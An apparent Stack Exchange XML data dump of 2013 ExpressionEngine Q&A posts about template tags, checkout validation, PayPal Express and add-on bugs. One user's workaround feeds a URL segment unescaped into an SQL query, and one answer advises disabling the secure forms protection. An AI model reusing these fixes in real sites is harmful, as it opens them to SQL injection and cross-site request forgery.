  <row Id="15238" PostTypeId="2" ParentId="15237" CreationDate="2013-10-31T20:26:33.020" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html#parent-entries-which-stores-have-which-pizza&quot; rel=&quot;nofollow&quot;&gt;This example in the docs&lt;/a&gt; suggests that your code should be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{parents}&#xA;{parents:channel_short_name} - &amp;lt;b&amp;gt;{parents:title}&amp;lt;/b&amp;gt;&amp;lt;br /&amp;gt;&#xA;{/parents}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hopefully this helps.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2013-10-31T20:26:33.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15239" PostTypeId="1" CreationDate="2013-10-31T21:08:11.293" Score="1" ViewCount="237" Body="&lt;p&gt;I am trying to figure out the code that will allow me to change the class of the input field when the field is required. I have created css that will change the field color and can't figure out how to set this up correctly in the new FreeForm composer template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have set this up to add &quot;* required&quot; on the field name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label class=&quot;field_label&quot; {if composer:field_name != ''}for=&quot;freeform_{composer:field_name}&quot;{/if}&amp;gt;&#xA;        {composer:field_label}&#xA;        {if composer:field_required}&amp;lt;span class=&quot;required_item&quot; style=&quot;font-size: 0.9em&quot;&amp;gt;&amp;lt;i&amp;gt;* required&amp;lt;/i&amp;gt;&amp;lt;/span&amp;gt;{/if}&#xA;&amp;lt;/label&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2272" LastEditorUserId="28" LastEditDate="2013-11-01T02:04:45.333" LastActivityDate="2013-11-01T02:16:42.947" Title="Code to change the input class when the field is &quot;required&quot;" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15240" PostTypeId="1" CreationDate="2013-10-31T22:30:17.963" Score="1" ViewCount="107" Body="&lt;p&gt;When I go to add a Calendar, the timezone entry field doesn't show up and when I go to add Events, the event date picker doesn't show up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It all worked fine locally, but not on the live site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using EE version 2.5, Solspace Calendar 1.8.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help!&lt;/p&gt;&#xA;" OwnerUserId="2303" LastActivityDate="2013-11-01T03:26:19.327" Title="Solspace Calendar module timezone entry field empty" Tags="|solspace|calendar|timezone|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15241" PostTypeId="1" AcceptedAnswerId="15292" CreationDate="2013-10-31T23:26:25.530" Score="1" ViewCount="146" Body="&lt;p&gt;I'm not sure what I've done wrong here but with this code, I don't get any validation taking place, it goes straight to the next step:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout&#xA;    next=&quot;checkout/payment&quot;&#xA;    error_handling=&quot;inline&quot;&#xA;    require=&quot;shipping_name|shipping_address1|shipping_city|shipping_postcode|shipping_country&quot;&#xA;    error_delimiters='&amp;lt;label class=&quot;error&quot;&amp;gt;|&amp;lt;/label&amp;gt;'&#xA;}&#xA;&#xA;    &amp;lt;section&amp;gt;&#xA;&#xA;        &amp;lt;h1&amp;gt;1. Shipping&amp;lt;/h1&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;fr {if error:shipping_name}error{/if}&quot;&amp;gt;&#xA;            &amp;lt;label class=&quot;fl&quot; for=&quot;shipping_name&quot;&amp;gt;Name &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;ff&quot;&amp;gt;&#xA;                {field:shipping_name} {error:shipping_name}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;/section&amp;gt;&#xA;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I change the require parameter to remove the shipping_ from each field, the form reloads the current page, but no errors are output, so I'm a little stumped at this stage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="28" LastEditDate="2013-11-01T01:35:53.437" LastActivityDate="2013-11-01T20:25:21.647" Title="Validation errors not displaying" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15242" PostTypeId="1" AcceptedAnswerId="15533" CreationDate="2013-11-01T00:05:20.483" Score="1" ViewCount="119" Body="&lt;p&gt;I'm trying to send the user off to PayPal Express by way of a single button (design calls for a PayPal button and also a regular checkout), so I have this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:store:checkout &#xA;        payment_method=&quot;paypal_express&quot; &#xA;        return=&quot;checkout/confirm/ORDER_HASH&quot;&#xA;        require=&quot;order_email&quot;&#xA;    }&#xA;&#xA;        &amp;lt;div class=&quot;fr&quot;&amp;gt;&#xA;            &amp;lt;label for=&quot;inp-login-email&quot; class=&quot;fl&quot;&amp;gt;Email Address &amp;lt;span class=&quot;required&quot;&amp;gt;*&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;            &amp;lt;div class=&quot;ff&quot;&amp;gt;&#xA;                &amp;lt;input type=&quot;email&quot; name=&quot;order_email&quot; id=&quot;inp-login-email&quot;&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;input type=&quot;submit&quot; value=&quot;Checkout with PayPal&quot;&amp;gt;&#xA;&#xA;    {/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However that bounces me back to the same page I was on before. Presumably I need to add some more info into that form before I can pass to PayPal?&lt;/p&gt;&#xA;" OwnerUserId="506" LastEditorUserId="506" LastEditDate="2013-11-04T10:34:18.050" LastActivityDate="2013-11-07T10:11:01.787" Title="Linking to PayPal Express" Tags="|expresso-store|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15243" PostTypeId="1" AcceptedAnswerId="15246" CreationDate="2013-11-01T00:35:43.260" Score="1" ViewCount="65" Body="&lt;p&gt;I'm trying to build out a blog in EE, and even though i'm still a bit confused by some things my biggest issue is that all posted comments via {exp:comment:form} default to open.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i have a channel called &quot;our_blog&quot; and below are it's preferences.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Allow comments in this channel? &lt;strong&gt;Yes&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Require membership in order to post comments? &lt;strong&gt;No&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Require email address to post comments? &lt;strong&gt;No&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Moderate Comments? &lt;strong&gt;Yes&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So i assumed, that having it set to &quot;Moderate Comments&quot; would mean that all comments posted to this channel entries would be defaulted to either closed or pending. But for whatever reason they keep defaulting to open, so as soon as someone posts a comment it shows up on the front-end. This is a no-no!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:comment:form channel=&quot;our_blog&quot;}&#xA;      &amp;lt;label for=&quot;name&quot;&amp;gt;Name:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;name&quot; value=&quot;&quot; size=&quot;50&quot; /&amp;gt;&#xA;      &amp;lt;label for=&quot;email&quot;&amp;gt;Email:&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;text&quot; name=&quot;email&quot; value=&quot;&quot; size=&quot;50&quot; /&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;      &amp;lt;label for=&quot;comment&quot;&amp;gt;Comment:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;      &amp;lt;textarea name=&quot;comment&quot; cols=&quot;70&quot; rows=&quot;10&quot;&amp;gt;{comment}&amp;lt;/textarea&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&#xA;      {if captcha}&#xA;          &amp;lt;label for=&quot;captcha&quot;&amp;gt;Please enter the word you see in the image below:&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;          &amp;lt;p&amp;gt;{captcha}&amp;lt;br /&amp;gt;&#xA;          &amp;lt;input type=&quot;text&quot; name=&quot;captcha&quot; value=&quot;{captcha_word}&quot; maxlength=&quot;20&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;       {/if}&#xA;       &amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot; /&amp;gt;&#xA;{/exp:comment:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've googled and googled, but to no result! Thanks for any help and advice in advance!&lt;/p&gt;&#xA;" OwnerUserId="1104" LastActivityDate="2013-11-01T01:35:40.337" Title="EE 2.7 Comments defaulting to Open" Tags="|ee2|comments|comment-form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15244" PostTypeId="2" ParentId="15242" CreationDate="2013-11-01T00:55:45.193" Score="2" Body="&lt;p&gt;PayPal express requires that you pass the users email address before it will allow you to create an order. If you wanted to have a similar experience to your current you would need to have something along the lines of:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:checkout &#xA;    payment_method=&quot;paypal_express&quot; &#xA;    return=&quot;checkout/confirm/ORDER_HASH&quot;&#xA;}&#xA;    &amp;lt;input type=&quot;text&quot; name=&quot;order_email&quot; placeholder=&quot;Your Email Address&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; value=&quot;Checkout with PayPal&quot;&amp;gt;&#xA;{/exp:store:checkout}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-11-01T02:08:16.810" LastActivityDate="2013-11-01T02:08:16.810" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15245" PostTypeId="1" AcceptedAnswerId="15251" CreationDate="2013-11-01T01:15:32.237" Score="1" ViewCount="246" Body="&lt;p&gt;I'm trying to recreate an EE1 site locally on my Mac with MAMP and am getting blank pages on both front end and back end after logging in (can see login page OK before logging in though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked error logs and the only error that's coming up is &lt;em&gt;Unable to parse XML data&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DB credentials are correct because if I change them I get the 'can't connect to the db' error message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've manually emptied cache folders and have tried changing PHP versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other steps I can take to figure out what's going on?&lt;/p&gt;&#xA;" OwnerUserId="116" LastActivityDate="2013-11-15T16:45:17.250" Title="Blank pages for front and back end in EE 1.x" Tags="|ee1|blank-screen|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="15246" PostTypeId="2" ParentId="15243" CreationDate="2013-11-01T01:29:36.240" Score="1" Body="&lt;p&gt;If the members who is testing the comments are in the group &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/channels/channel_edit_preferences.html#moderate-comments&quot; rel=&quot;nofollow&quot;&gt;super-admins&lt;/a&gt; or another one which has been set to &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html#exclude-member-from-comment-moderation&quot; rel=&quot;nofollow&quot;&gt;exclude its members from the comment moderation&lt;/a&gt;, the status of their comments will always be &lt;code&gt;open&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2013-11-01T01:35:40.337" LastActivityDate="2013-11-01T01:35:40.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15247" PostTypeId="2" ParentId="15241" CreationDate="2013-11-01T01:46:02.690" Score="1" Body="&lt;p&gt;I have validation working perfectly on Store v2.0.3. Here is my code:&lt;br&gt;&#xA;&lt;strong&gt;&lt;a href=&quot;http://pastie.org/private/qs9a9hhzfndkbhk8bsr4g&quot; rel=&quot;nofollow&quot;&gt;http://pastie.org/private/qs9a9hhzfndkbhk8bsr4g&lt;/a&gt;&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try popping it into your template... Just change the &lt;code&gt;next=&quot;checkout/step2&quot;&lt;/code&gt; parameter to your correct template name.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-01T01:46:02.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15248" PostTypeId="2" ParentId="15239" CreationDate="2013-11-01T02:16:42.947" Score="3" Body="&lt;p&gt;Best way to do this is to add the class to a containing element like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div  {if composer:field_required}class=&quot;required&quot;{/if}&amp;gt;&#xA;    &amp;lt;label&amp;gt;&amp;lt;/label&amp;gt;&#xA;    &amp;lt;input&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then target the input field with css like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.required input {&#xA;    border: 1px solid red;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also use this for your &quot;* required&quot; copy...  Change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if composer:field_required}&#xA;    &amp;lt;span class=&quot;required_item&quot; style=&quot;font-size: 0.9em&quot;&amp;gt;&#xA;        &amp;lt;i&amp;gt;* required&amp;lt;/i&amp;gt;&#xA;    &amp;lt;/span&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;required_item&quot; style=&quot;font-size: 0.9em&quot;&amp;gt;&#xA;    &amp;lt;i&amp;gt;* required&amp;lt;/i&amp;gt;&#xA;&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And set CSS to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.required_item {&#xA;    display: none;&#xA;}&#xA;.required .required_item {&#xA;    display: block;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-01T02:16:42.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15249" PostTypeId="1" CreationDate="2013-11-01T02:40:03.130" Score="2" ViewCount="178" Body="&lt;p&gt;I need the user to be able to search against two category groups: one for states, and the other for job type, i.e., accounting, HR, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Two problems:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I try to use a placeholder value for my  fields:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;&amp;lt;option val=&quot;&quot;&amp;gt;Select Category&amp;lt;/option&amp;gt;&#xA;{exp:channel:categories channel=&quot;jobs&quot; &#xA;category_group=&quot;5&quot; disable=&quot;category_fields&quot;&#xA;style=&quot;linear&quot;}&#xA;    {exp:super_search:variables}&#xA;        &amp;lt;option val=&quot;{category_url_title}&quot;&amp;gt;{category_name}&amp;lt;/option&amp;gt;&#xA;    {/exp:super_search:variables}&#xA;{/exp:channel:categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(This is one of them.) The blank value ends up passing 'Select+Category' in to the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, I need to ignore the keywords field altogether. I tried adding a hidden field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;keywords&quot; value=&quot;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But that doesn't matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My search results page is yielding incorrect results because it thinks the keywords value is &quot;&quot;, which is like &quot;any&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try submitting the form: &lt;a href=&quot;http://usesi.savagedevserver.com/jobs&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://usesi.savagedevserver.com/jobs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4lcKV.png&quot; alt=&quot;Screencap&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2013-11-01T18:35:19.673" Title="Problem with placeholder value and searching on categories (ignoring keywords) - SuperSearch" Tags="|solspace|supersearch|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15251" PostTypeId="2" ParentId="15245" CreationDate="2013-11-01T02:53:32.027" Score="1" Body="&lt;p&gt;In my experience a white screen is always a suppressed PHP error. If you can't get the error to show, something is still suppressing it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of going back and forth with comments, we jumped on Skype. In this case, disabling extensions in the config.php file got the PHP error to show up on the screen. This is an EE1 site so we used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$conf['allow_extensions'] = &quot;n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It turns out a Cartthrob directory was missing and was throwing a fatal PHP error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My theory on why php errors continued to be suppressed even when forcing them to show in the index.php file is that one of the extensions was disabling them afterwards. This explains why they weren't showing on screen or in the php log file until extensions were disabled.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-15T16:45:17.250" LastActivityDate="2013-11-15T16:45:17.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15252" PostTypeId="2" ParentId="15249" CreationDate="2013-11-01T03:12:54.200" Score="3" Body="&lt;p&gt;For the first issue try changing &lt;code&gt;&amp;lt;option val=&quot;&quot;&amp;gt;Select Category&amp;lt;/option&amp;gt;&lt;/code&gt; to &lt;code&gt;&amp;lt;option&amp;gt;Select Category&amp;lt;/option&amp;gt;&lt;/code&gt;... specifically removing the &lt;code&gt;val=&quot;&quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I took a look at the &lt;a href=&quot;http://www.solspace.com/docs/super_search/search/#keywords&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Solspace Supersearch docs&lt;/strong&gt;&lt;/a&gt; and I don't see that keyword is required. So try taking it out. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-11-01T03:20:19.313" LastActivityDate="2013-11-01T03:20:19.313" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15253" PostTypeId="2" ParentId="15240" CreationDate="2013-11-01T03:26:19.327" Score="1" Body="&lt;p&gt;Sound like the theme files didn't get uploaded to the production server fulling. I suggest you delete the Solspace Calendar theme directory which should be located at /themes/third_party/solspace_calendar (or something like that)... then reupload the theme directory. If that doesn't get it working, also reupload the module files.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-11-01T03:26:19.327" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15255" PostTypeId="1" CreationDate="2013-11-01T07:14:49.927" Score="2" ViewCount="45" Body="&lt;p&gt;I am using EE (v 2.5.2) and Store module (v 1.6.1),but CMS is not showing up many store module fields when I am using IE 10 (Version 10.0.9200.16721) many of the store module fields are not visible.&#xA;  In other browsers this works fine but I am facing issues in IE 10 only (please check the attached screen shot),can anyone please help me out??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HbcDe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Nisar&lt;/p&gt;&#xA;" OwnerUserId="1210" LastActivityDate="2013-11-01T07:14:49.927" Title="Store module fields not visible in IE10" Tags="|expresso-store|internetexplorer|" AnswerCount="0" CommentCount="2" ClosedDate="2013-11-01T16:15:39.903" ContentLicense="CC BY-SA 3.0" />
  <row Id="15256" PostTypeId="1" AcceptedAnswerId="15278" CreationDate="2013-11-01T08:06:18.133" Score="2" ViewCount="246" Body="&lt;p&gt;EE v2.5.3 Freeform v4.1.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any known issues with these versions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should these versions be compatible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Form entry is working ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I can't get the entries tag to work, I've stripped it right back to the basics, reinstalled it, to test I'm using the default 'contact' form and I've set the existing entry to be 'open':&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries collection=&quot;Contact&quot;}&#xA;&#xA;{first_name}&#xA;{email}&#xA;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;IF I add an {email} field, it returns the email address of the logged in user within the tags, but nothing else is displayed, no entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: after the first comment, I tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries form_name=&quot;Contact&quot;}&#xA;&#xA;{first_name}&#xA;{email}&#xA;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With the form_name param included: '{first_name}' is displayed plus my email address if I'm logged in.&#xA;Without the form_name param included: nothing is displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I haven't found an answer yet, but I found a workaround:&#xA;I resorted to an embedded db query, it does mean that I have hard coded the fields as the column names from the database, but it works:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT * FROM exp_freeform_form_entries_2 WHERE entry_id={segment_3}&quot;}&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;first_name&quot; id=&quot;first_name&quot; value=&quot;{form_field_1}&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;last_name&quot; id=&quot;last_name&quot; value=&quot;{form_field_2}&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;street&quot; id=&quot;street&quot; value=&quot;{form_field_8}&quot;/&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;city&quot; id=&quot;city&quot; value=&quot;{form_field_9}&quot;/&amp;gt;&#xA;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1311" LastEditorUserId="1311" LastEditDate="2013-11-02T07:38:31.357" LastActivityDate="2014-03-18T23:16:05.887" Title="EE v2.5.3 Freeform v4.1.3 entries not working" Tags="|solspace-freeform|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15257" PostTypeId="2" ParentId="5230" CreationDate="2013-11-01T10:42:18.903" Score="1" Body="&lt;p&gt;This was a bug fixed in Store 1.6.3.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Fixed multiple issues and improved error handling of the FedEx shipping plugin (v1.6.2)&lt;/li&gt;&#xA;&lt;li&gt;Fixed a FedEx shipping driver error message when weights were stored as metric units in Store (v1.6.3)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/release_notes.html#store_163&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/release_notes.html#store_163&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T10:42:18.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15258" PostTypeId="2" ParentId="5903" CreationDate="2013-11-01T10:44:44.557" Score="1" Body="&lt;p&gt;The orders report should show all &quot;completed&quot; orders, regardless of whether they are paid or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the built in reports aren't flexible enough for you, you can generate your own reports using the orders tag. So it might be a good idea just to create your own custom report.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T10:44:44.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15259" PostTypeId="2" ParentId="6839" CreationDate="2013-11-01T10:49:04.293" Score="1" Body="&lt;p&gt;If you want to make changes to a member after an order has been placed, the best hook to use is &lt;code&gt;store_order_complete_end&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#store_order_complete_end&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/extension_hooks.html#store_order_complete_end&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This runs when an order is &quot;completed&quot;, which means it was either paid in full or paid with the manual payment gateway (either way, it stops becoming a cart when it is completed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to edit the price of items depending on the current user, there are various ways of approaching this. The easiest way would be to use the &lt;code&gt;store_order_item_recalculate_end&lt;/code&gt; hook, which runs inside the cart when the cart is updated. There you are able to adjust the price of the item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/extension_hooks.html#store_order_item_recalculate_end&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/extension_hooks.html#store_order_item_recalculate_end&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T10:49:04.293" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15260" PostTypeId="1" AcceptedAnswerId="15269" CreationDate="2013-11-01T10:51:50.910" Score="1" ViewCount="71" Body="&lt;p&gt;I've just updated to Store 2.0.4 and have come across the following error on a page using the orders tag with &quot;order_status&quot; parameter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'order_status' in 'where clause'&#xA;&#xA;select * from `exp_store_orders` where `site_id` = '1' and `order_completed_date` &amp;gt; 0 and `order_status` = 'new' and `member_id` = '1' order by `id` asc limit 100 offset 0&#xA;&#xA;Filename: third_party/store/src/Store/Illuminate/CodeIgniterConnection.php&#xA;&#xA;Line Number: 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My orders tag looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:store:orders member_id=&quot;CURRENT_USER&quot; order_status=&quot;new&quot; secure=&quot;yes&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has the parameter name changed in 2.0.4, or is this a bug? The documentation still shows the parameter as &quot;order_status&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://exp-resso.com/docs/orders_tag.html&quot; rel=&quot;nofollow&quot;&gt;https://exp-resso.com/docs/orders_tag.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="1731" LastEditorUserId="150" LastEditDate="2013-11-01T11:16:41.103" LastActivityDate="2014-01-12T22:41:44.450" Title="Orders tag error: order_status parameter" Tags="|expresso-store|error|database-error|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15261" PostTypeId="2" ParentId="7040" CreationDate="2013-11-01T10:52:11.617" Score="1" Body="&lt;p&gt;Generally the Store reports are fairly memory hungry. If you have your memory limit very low, try raising it to at least 128mb (256mb or 512mb is preferable - on todays servers memory is cheap).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another problem people often run into with the reports page is to do with EE's secure forms feature. If you have secure forms enabled, then using the browser back button will not work correctly in your control panel. If you generate a report, then click back, then try to generate another report, you will get an error, or be redirected back to the CP home page. The best solution to this is simply to disable EE's secure forms feature under Admin &gt; Security &amp;amp; Privacy &gt; Security &amp;amp; Sessions &gt; &quot;Process form data in Secure Mode?&quot;.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-11-01T10:52:11.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
